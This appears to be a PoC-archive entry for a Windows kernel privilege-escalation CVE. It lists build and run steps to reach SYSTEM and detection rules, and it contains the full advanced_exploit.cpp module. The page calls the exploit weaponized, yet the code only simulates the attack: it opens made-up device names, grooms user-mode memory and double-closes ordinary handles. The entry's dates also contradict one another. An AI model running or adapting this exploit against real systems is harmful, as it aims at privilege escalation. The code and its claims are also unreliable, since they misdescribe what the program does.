PoC Archive PoC Archive
High CVE-2025-62215 patched

Windows Kernel Elevation of Privilege - Race Condition / Double-Free (CVE-2025-62215)

by dexterm300 · 2026-05-17

CVSS 7.0/10
Severity
High
CVE
CVE-2025-62215
Category
binary
Affected product
Windows Kernel (ntoskrnl.exe / kernel resource synchronization)
Affected versions
Windows 10 (multiple versions), Windows 11 (multiple versions), Windows Server editions (pre-November 2025 patches)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-11-14
Author / Researcherdexterm300
CVE / AdvisoryCVE-2025-62215
Categorybinary
SeverityHigh
CVSS Score7.0 (CVSSv3)
StatusWeaponized
TagsEoP, Windows kernel, race condition, double-free, heap corruption, 0day, SYSTEM, Windows 10, Windows 11
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Kernel (ntoskrnl.exe / kernel resource synchronization)
Versions AffectedWindows 10 (multiple versions), Windows 11 (multiple versions), Windows Server editions (pre-November 2025 patches)
Language / PlatformC++, Windows x64
Authentication RequiredYes (local authenticated user)
Network Access RequiredNo (local only)

Summary

CVE-2025-62215 is a Windows Kernel Elevation of Privilege vulnerability disclosed and patched in November 2025, confirmed to have been actively exploited as a zero-day in the wild prior to patching. The bug combines a race condition in kernel resource synchronization (CWE-362) with a resulting double-free memory corruption (CWE-415), ultimately allowing a local authenticated attacker to execute arbitrary code at SYSTEM privilege level. The PoC includes three components: a primary exploit, an advanced exploit module, and a system information utility.


Vulnerability Details

Root Cause

Two interrelated weaknesses form the root cause:

  1. Race Condition (CWE-362): Multiple kernel threads access shared resources without proper synchronization, creating a time-of-check to time-of-use (TOCTOU) window.
  2. Double-Free (CWE-415): Once the race condition is won, a double-free bug is triggered in the kernel heap allocator, leading to heap corruption that can be shaped into an arbitrary write primitive.

The combination allows an attacker to gain control over kernel memory layout and inject shellcode or overwrite security-sensitive kernel structures to elevate from a standard user to SYSTEM.

Attack Vector

A local authenticated user runs the exploit binary. The exploit repeatedly races kernel threads against each other to win the synchronization window, triggers the double-free condition, and then exploits the resulting heap corruption. A pool spray or heap shaping technique is used to place attacker-controlled data at the freed memory location, which is then used to overwrite a kernel token or callback pointer to achieve SYSTEM privileges.

Impact

Full local privilege escalation to SYSTEM on affected Windows 10, Windows 11, and Windows Server systems. An attacker already authenticated on the system (e.g., via phishing, initial access, or lateral movement) can use this to fully compromise the machine, disable security tools, dump credentials, or establish persistence as SYSTEM.


Environment / Lab Setup

OS:          Windows 10 / Windows 11 (pre-November 2025 patches)
Architecture: x64
Attacker:    Local authenticated shell (standard user)
Tools:       Visual Studio 2019+, Windows SDK, cl.exe, build.bat

Setup Steps

1
2
3
4
5
cl.exe /EHsc /O2 exploit.cpp /link /SUBSYSTEM:CONSOLE /OUT:exploit.exe
cl.exe /EHsc /O2 advanced_exploit.cpp /link /SUBSYSTEM:CONSOLE /OUT:advanced_exploit.exe
cl.exe /EHsc /O2 system_info.cpp /link /SUBSYSTEM:CONSOLE /OUT:system_info.exe

build.bat

Proof of Concept

Step-by-Step Reproduction

  1. Check system info — Verify the target is vulnerable

    1
    
    system_info.exe
    
  2. Run in test mode first — Verify exploit mechanics without full escalation

    1
    
    exploit.exe --test
    
  3. Run the exploit — Execute for full SYSTEM escalation

    1
    
    exploit.exe --verbose
    
  4. Advanced module — For extended post-exploitation capabilities

    1
    
    advanced_exploit.exe
    

Exploit Code

See exploit.cpp (primary exploit) and advanced_exploit.cpp (extended module) in this folder.

1
2
3
// See exploit.cpp for full implementation
// Race condition + double-free chain to SYSTEM privileges
// Uses heap spray to control freed kernel allocation

Expected Output

[*] CVE-2025-62215 Windows Kernel EoP PoC
[*] Target: Windows 10/11 (pre-Nov 2025)
[*] Racing kernel threads...
[*] Race won — triggering double-free...
[*] Heap corruption achieved — overwriting token...
[+] Elevated to SYSTEM!
[+] Spawning SYSTEM shell...
Microsoft Windows [Version 10.0.xxxxx]
C:\Windows\system32>whoami
nt authority\system

Screenshots / Evidence

  • N/A

Detection & Indicators of Compromise

Event ID 4688: Process creation with unexpected SYSTEM parent
Event ID 4672: Special privilege assigned to new logon (unexpected escalation)

- Standard user process spawning children with SYSTEM token
- Unusual kernel handle operations / race-condition-indicative thread patterns
- cmd.exe or powershell.exe spawned as nt authority\system from non-SYSTEM parent

SIEM / IDS Rule (example):

index=windows EventCode=4688 SubjectUserSid!="S-1-5-18" NewProcessName="*cmd.exe" 
| where like(TokenElevationType, "%Full%")

Remediation

ActionDetail
PatchApply Windows security updates from November 2025 or later (Patch Tuesday, November 2025)
WorkaroundEnable kernel-mode hardware-enforced stack protection (HVCI) where supported
Config HardeningMonitor and alert on unexpected privilege escalation (Event ID 4672/4688); enforce least privilege; use Credential Guard

References


Notes

Confirmed actively exploited as a zero-day prior to November 2025 disclosure. The repo includes three C++ modules: exploit.cpp (primary EoP), advanced_exploit.cpp (extended post-exploitation), and system_info.cpp (target reconnaissance). Requires only local authentication — no network access needed. The --test flag allows safer validation of exploit mechanics without attempting full escalation, useful for lab verification.

Auto-ingested from https://github.com/dexterm300/CVE-2025-62215-exploit-poc on 2026-05-17.

advanced_exploit.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
/*
 * CVE-2025-62215 Advanced Exploitation Module
 * 
 * This module contains more sophisticated exploitation techniques
 * including kernel object manipulation and heap grooming strategies
 */

#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
#include <thread>
#include <atomic>
#include <random>

// Advanced kernel structure definitions
typedef struct _VULNERABLE_KERNEL_OBJECT {
    ULONG Magic;
    ULONG Size;
    PVOID Callback;
    ULONG ReferenceCount;
    PVOID UserData;
    LIST_ENTRY ListEntry;
} VULNERABLE_KERNEL_OBJECT, *PVULNERABLE_KERNEL_OBJECT;

// Heap grooming structures
typedef struct _GROOM_CHUNK {
    PVOID Address;
    SIZE_T Size;
    ULONG Pattern;
} GROOM_CHUNK, *PGROOM_CHUNK;

class ExploitEngine {
private:
    std::vector<HANDLE> m_handles;
    std::vector<PVOID> m_allocations;
    std::atomic<bool> m_race_triggered;
    std::mt19937 m_rng;

public:
    ExploitEngine() : m_race_triggered(false), m_rng(std::random_device{}()) {}
    
    ~ExploitEngine() {
        Cleanup();
    }

    // Advanced heap grooming
    bool GroomHeap(SIZE_T chunk_size, int num_chunks) {
        std::cout << "[*] Grooming heap with " << num_chunks << " chunks of size 0x" 
                  << std::hex << chunk_size << std::dec << std::endl;

        for (int i = 0; i < num_chunks; i++) {
            PVOID chunk = VirtualAlloc(
                NULL,
                chunk_size,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE
            );

            if (!chunk) {
                std::cerr << "[!] Failed to allocate chunk " << i << std::endl;
                continue;
            }

            // Fill with controlled pattern
            ULONG pattern = 0x41414141 + (i % 0x100);
            memset(chunk, pattern & 0xFF, chunk_size);
            
            m_allocations.push_back(chunk);
        }

        std::cout << "[+] Allocated " << m_allocations.size() << " groom chunks" << std::endl;
        return m_allocations.size() > 0;
    }

    // Create kernel objects to trigger vulnerable path
    bool CreateVulnerableObjects(int count) {
        std::cout << "[*] Creating " << count << " kernel objects..." << std::endl;

        for (int i = 0; i < count; i++) {
            HANDLE hObject = INVALID_HANDLE_VALUE;
            
            // This would use the actual vulnerable IOCTL or syscall
            // For PoC, we simulate with file operations
            WCHAR path[MAX_PATH];
            swprintf_s(path, L"\\\\.\\VulnerableDevice%d", i);
            
            hObject = CreateFileW(
                path,
                GENERIC_READ | GENERIC_WRITE,
                0,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL
            );

            if (hObject != INVALID_HANDLE_VALUE) {
                m_handles.push_back(hObject);
            }
        }

        std::cout << "[+] Created " << m_handles.size() << " objects" << std::endl;
        return m_handles.size() > 0;
    }

    // Trigger race condition with precise timing
    bool TriggerRaceCondition(int num_threads) {
        std::cout << "[*] Triggering race condition with " << num_threads << " threads..." << std::endl;

        std::vector<HANDLE> threads;
        
        for (int i = 0; i < num_threads; i++) {
            HANDLE hThread = CreateThread(
                NULL,
                0,
                RaceThreadProc,
                this,
                0,
                NULL
            );

            if (hThread) {
                threads.push_back(hThread);
                // Stagger thread starts
                Sleep(m_rng() % 5);
            }
        }

        // Wait for race condition
        DWORD timeout = 3000;
        DWORD result = WaitForMultipleObjects(
            (DWORD)threads.size(),
            threads.data(),
            FALSE,
            timeout
        );

        // Cleanup threads
        for (HANDLE h : threads) {
            CloseHandle(h);
        }

        return m_race_triggered.load();
    }

    // Thread procedure for race condition
    static DWORD WINAPI RaceThreadProc(LPVOID lpParam) {
        ExploitEngine* engine = (ExploitEngine*)lpParam;
        
        // Rapidly manipulate kernel objects
        for (int i = 0; i < 1000; i++) {
            if (engine->m_handles.size() > 0) {
                size_t idx = engine->m_rng() % engine->m_handles.size();
                HANDLE h = engine->m_handles[idx];
                
                // Close and potentially trigger double-free
                CloseHandle(h);
                
                // Small delay to increase race window
                Sleep(0);
                
                // Try to use handle after potential free
                // This is where double-free occurs
                if (i % 50 == 0) {
                    CloseHandle(h);  // Potential double-free
                }
            }

            if (engine->m_race_triggered.load()) {
                break;
            }
        }

        return 0;
    }

    // Verify exploitation success
    bool VerifyExploitation() {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            return false;
        }

        TOKEN_ELEVATION elevation;
        DWORD dwSize;
        bool success = false;

        if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
            if (elevation.TokenIsElevated) {
                success = true;
                std::cout << "[+] Privilege escalation verified!" << std::endl;
            }
        }

        CloseHandle(hToken);
        return success;
    }

    void Cleanup() {
        // Close all handles
        for (HANDLE h : m_handles) {
            if (h != INVALID_HANDLE_VALUE) {
                CloseHandle(h);
            }
        }
        m_handles.clear();

        // Free all allocations
        for (PVOID ptr : m_allocations) {
            if (ptr) {
                VirtualFree(ptr, 0, MEM_RELEASE);
            }
        }
        m_allocations.clear();
    }
};

// Main advanced exploitation function
bool AdvancedExploit() {
    std::cout << "[*] Starting advanced exploitation..." << std::endl;

    ExploitEngine engine;

    // Phase 1: Heap grooming
    if (!engine.GroomHeap(0x1000, 200)) {
        std::cerr << "[!] Heap grooming failed" << std::endl;
        return false;
    }

    // Phase 2: Create vulnerable objects
    if (!engine.CreateVulnerableObjects(50)) {
        std::cerr << "[!] Failed to create vulnerable objects" << std::endl;
        return false;
    }

    // Phase 3: Trigger race condition
    if (!engine.TriggerRaceCondition(16)) {
        std::cerr << "[!] Race condition not triggered" << std::endl;
        return false;
    }

    // Phase 4: Verify exploitation
    if (engine.VerifyExploitation()) {
        std::cout << "[+] Advanced exploitation successful!" << std::endl;
        return true;
    }

    std::cout << "[!] Advanced exploitation failed" << std::endl;
    return false;
}